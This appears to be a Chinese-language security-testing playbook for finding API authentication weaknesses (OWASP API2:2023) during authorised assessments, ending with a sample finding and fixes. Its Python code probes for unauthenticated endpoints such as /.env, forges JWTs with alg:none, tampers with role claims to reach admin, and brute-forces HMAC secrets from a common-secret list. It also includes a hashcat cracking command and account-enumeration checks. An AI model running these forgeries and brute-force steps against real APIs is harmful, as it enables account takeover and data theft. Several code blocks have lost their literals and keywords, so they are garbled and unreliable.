| name | testing-api-authentication-weaknesses |
| description | 测试API认证机制中的弱点,包括令牌验证失效、端点未强制认证、密码策略薄弱、凭据填充风险、 URL或日志中的令牌泄露,以及会话管理缺陷。评估JWT实现、API密钥处理、OAuth流程和会话令牌熵, 以识别认证绕过漏洞。对应OWASP API2:2023 认证失效(Broken Authentication)。
|
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["api-security","owasp","authentication","jwt","session-management","credential-security"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
测试API认证弱点
适用场景
- 在生产部署前评估REST API认证机制是否存在绕过漏洞
- 测试JWT令牌实现中的常见弱点(none算法、密钥混淆、缺少过期时间)
- 评估是否所有API端点都强制执行认证,或者某些端点是否意外暴露
- 测试API密钥生成、存储和轮换机制是否存在可预测性或泄露
- 验证会话管理,包括令牌过期、吊销和刷新令牌安全性
不适用于未获书面授权的情况。认证测试涉及尝试绕过安全控制。
前置条件
- 书面授权,指明目标API和范围内的认证机制
- 至少两个用户角色(普通用户、管理员)的有效测试凭据
- Burp Suite Professional及JWT相关扩展(JSON Web Tokens、JWT Editor)
- Python 3.10+,安装
requests、PyJWT 和 jwt 库
- 凭据测试的字典(SecLists认证字典)
- API文档或OpenAPI规范
工作流程
步骤1:认证机制识别
import requests
import json
BASE_URL = "https://target-api.example.com/api/v1"
auth_indicators = {
"jwt_bearer": False,
"api_key_header": False,
"api_key_query": False,
"basic_auth": False,
"oauth2": False,
"session_cookie": False,
"custom_token": False,
}
resp = requests.get(f"{BASE_URL}/users/me")
print(f"未认证访问: {resp.status_code}")
if resp.status_code == 200:
print("[严重] 端点无需认证即可访问")
if "WWW-Authenticate" in resp.headers:
scheme = resp.headers["WWW-Authenticate"]
print(f"公告的认证方案: {scheme}")
if "Bearer" in scheme:
auth_indicators["jwt_bearer"] = True
elif "Basic" in scheme:
auth_indicators["basic_auth"] = True
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"username": , : })
login_resp.status_code == :
login_data = login_resp.json()
key [, , , ]:
key login_data:
token = login_data[key]
token.count() == :
auth_indicators[] =
()
key [, ]:
key login_data:
()
cookie login_resp.cookies:
()
cookie.name.lower():
auth_indicators[] =
()
步骤2:未认证端点发现
endpoints = [
("GET", "/users"),
("GET", "/users/me"),
("GET", "/users/1"),
("GET", "/admin/users"),
("GET", "/admin/settings"),
("GET", "/health"),
("GET", "/metrics"),
("GET", "/debug"),
("GET", "/actuator"),
("GET", "/actuator/env"),
("GET", "/swagger.json"),
("GET", "/api-docs"),
("GET", "/graphql"),
("POST", "/graphql"),
("GET", "/config"),
("GET", "/internal/status"),
("GET", "/.env"),
("GET", "/status"),
("GET", "/info"),
("GET", "/version"),
]
print("未认证端点扫描:")
for method, path in endpoints:
try:
resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
if resp.status_code not (, ):
content_preview = resp.text[:] resp.text
()
requests.exceptions.RequestException:
步骤3:JWT令牌分析
import base64
import json
import hmac
import hashlib
def decode_jwt_parts(token):
"""不验证签名地解码JWT头部和载荷。"""
parts = token.split('.')
if len(parts) != 3:
return None, None
def pad_base64(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
return header, payload
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
print(f"JWT头部: {json.dumps(header, indent=2)}")
print(f"JWT载荷: {json.dumps(payload, indent=2)}")
issues = []
if header.get("alg") == "none":
issues.append("严重: 算法设置为'none' - 令牌签名未验证")
if header.get("alg") in ("HS256", "HS384", "HS512"):
issues.append("信息: 使用对称算法 - 检查弱密钥/默认密钥")
payload:
issues.append()
:
time
exp_time = payload[]
ttl = exp_time - time.time()
ttl > :
issues.append()
sensitive_fields = [, , , , ]
field sensitive_fields:
field payload:
issues.append()
expected_claims = [, , , , ]
missing = [c c expected_claims c payload]
missing:
issues.append()
header:
kid = header[]
issues.append()
issue issues:
()
步骤4:JWT操纵攻击
def forge_none_algorithm(token):
"""创建带alg:none的令牌以绕过签名验证。"""
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
header['alg'] = 'none'
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
return [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
def forge_payload(token, modifications):
"""修改载荷声明并测试服务器是否验证签名。"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
payload_data.update(modifications)
new_payload = base64.urlsafe_b64encode(
json.dumps(payload_data).encode()).decode().rstrip('=')
return f"{parts[0]}.{new_payload}.{parts[2]}"
COMMON_JWT_SECRETS = [
"secret", , , , ,
, , , , ,
, , ,
, , , ,
]
():
parts = token.split()
header = json.loads(base64.urlsafe_b64decode(parts[] + ))
header.get() (, , ):
()
signing_input = .encode()
signature = parts[]
hash_func = {
: hashlib.sha256,
: hashlib.sha384,
: hashlib.sha512
}[header[]]
secret COMMON_JWT_SECRETS:
expected_sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, hash_func).digest()
).decode().rstrip()
expected_sig == signature:
()
secret
()
none_tokens = forge_none_algorithm(token)
none_token none_tokens:
resp = requests.get(,
headers={: })
resp.status_code == :
()
admin_token = forge_payload(token, {: , : })
resp = requests.get(,
headers={: })
resp.status_code == :
()
brute_force_jwt_secret(token)
步骤5:令牌生命周期测试
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
headers={"Authorization": f"Bearer {token}"})
print(f"注销: {logout_resp.status_code}")
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
print("[高] 注销后令牌仍有效 - 无服务端吊销机制")
refresh_token = login_data.get("refresh_token")
if refresh_token:
refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
new_tokens = refresh_resp.json()
reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
json={"refresh_token": refresh_token})
if reuse_resp.status_code == 200:
print("[高] 刷新令牌可重用 - 未实现轮换机制")
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
print("[中] 令牌在查询参数中被接受 - 可能泄露在日志/Referer中")
步骤6:密码策略和凭据测试
weak_passwords = [
"a",
"password",
"12345678",
"abcdefgh",
"Password1",
"",
" ",
]
for pwd in weak_passwords:
resp = requests.post(f"{BASE_URL}/auth/register",
json={"email": f"test_{hash(pwd)%9999}@example.com",
"password": pwd, "name": "Test User"})
if resp.status_code in (200, 201):
print(f"[弱策略] 密码被接受: '{pwd}'")
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"
resp_valid = requests.post(f"{BASE_URL}/auth/login",
json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
json={"username": invalid_email, "password": "wrongpassword"})
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
()
()
()
核心概念
| 术语 | 定义 |
|---|
| 认证失效(Broken Authentication) | OWASP API2:2023 - 认证机制中的弱点,允许攻击者假冒合法用户身份 |
| JWT(JSON Web Token) | 包含header.payload.signature结构的自包含令牌格式,用于无状态API认证 |
| 令牌吊销(Token Revocation) | 在令牌过期前使其失效的服务端机制,对注销和密码更改至关重要 |
| 凭据填充(Credential Stuffing) | 使用泄露的用户名/密码对,对认证端点进行自动化攻击 |
| 账户枚举(Account Enumeration) | 通过对有效/无效账户的不同错误消息或响应时间来确定有效用户名 |
| 刷新令牌轮换(Refresh Token Rotation) | 每次使用刷新令牌时生成新令牌的安全做法,防止令牌重用攻击 |
工具和系统
- Burp Suite JWT Editor:用于解码、编辑和重新签名JWT令牌的扩展,支持多种攻击模式
- jwt_tool:Python工具,支持12种以上攻击模式(alg:none、密钥混淆、JWKS欺骗)
- hashcat:GPU加速密码破解工具,支持JWT HMAC密钥暴力破解(模式16500)
- Hydra:网络登录暴力破解工具,支持HTTP表单和API认证测试
- Nuclei:基于模板的扫描器,包含认证绕过检测模板
常见场景
场景:SaaS平台API认证评估
背景:某SaaS平台使用JWT令牌进行API认证。JWT在登录时签发,用于所有后续API调用。同时实现了刷新令牌机制。
方法:
- 认证并捕获JWT:算法为HS256,过期时间7天,载荷包含用户角色
- 测试alg:none绕过:服务器拒绝令牌(安全)
- 暴力破解HMAC密钥:发现密钥为"company-jwt-secret-2023"(使用hashcat和自定义字典找到)
- 用发现的密钥伪造管理员JWT:将"role"声明修改为"admin",重新签名获得管理员访问权限
- 测试令牌吊销:注销和密码更改后令牌仍然有效(无黑名单)
- 测试刷新令牌:刷新令牌无过期时间且可无限次重用
- 发现密码重置端点对有效/无效邮箱返回不同消息
- 发现
/health和/metrics端点无需认证即可访问
注意事项:
- 仅测试登录端点,未发现密码重置、MFA和令牌刷新流程中的认证弱点
- 未检查JWT密钥在所有环境(开发、预生产、生产)中是否相同
- 忽视令牌生命周期:7天JWT无吊销机制意味着被盗令牌一周内有效
- 未测试服务器日志、URL参数或错误消息中的令牌泄露
输出格式
## 发现:JWT HMAC密钥可暴力破解且令牌不可吊销
**ID**: API-AUTH-001
**严重性**: 严重(CVSS 9.1)
**OWASP API**: API2:2023 - 认证失效
**受影响组件**:
- POST /api/v1/auth/login(令牌签发)
- 所有认证端点(令牌验证)
- POST /api/v1/auth/logout(无效)
**描述**:
该API使用HS256签名的JWT令牌,密钥可暴力破解
("company-jwt-secret-2023")。发现密钥的攻击者可以
为任意用户(包括管理员)伪造令牌。此外,令牌不可吊销——
注销不会使令牌在服务端失效,7天过期时间意味着被盗令牌
在较长时间内保持有效。
**攻击链**:
1. 从已认证会话捕获任意有效JWT
2. 使用hashcat暴力破解HMAC密钥: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. 3分钟内恢复密钥: "company-jwt-secret-2023"
4. 伪造管理员JWT: 将"role"声明修改为"admin",用发现的密钥重新签名
5. 访问管理端点: GET /api/v1/admin/users 返回所有50,000个用户账户
**修复建议**:
1. 使用2048位RSA密钥对将HS256替换为RS256
2. 如必须使用HMAC,则使用至少256位的密码学随机密钥
3. 使用Redis实现令牌黑名单,处理注销和密码更改事件
4. 将令牌TTL缩短至15分钟,并实现刷新令牌轮换
5. 添加`iss`和`aud`声明验证,防止令牌跨服务被滥用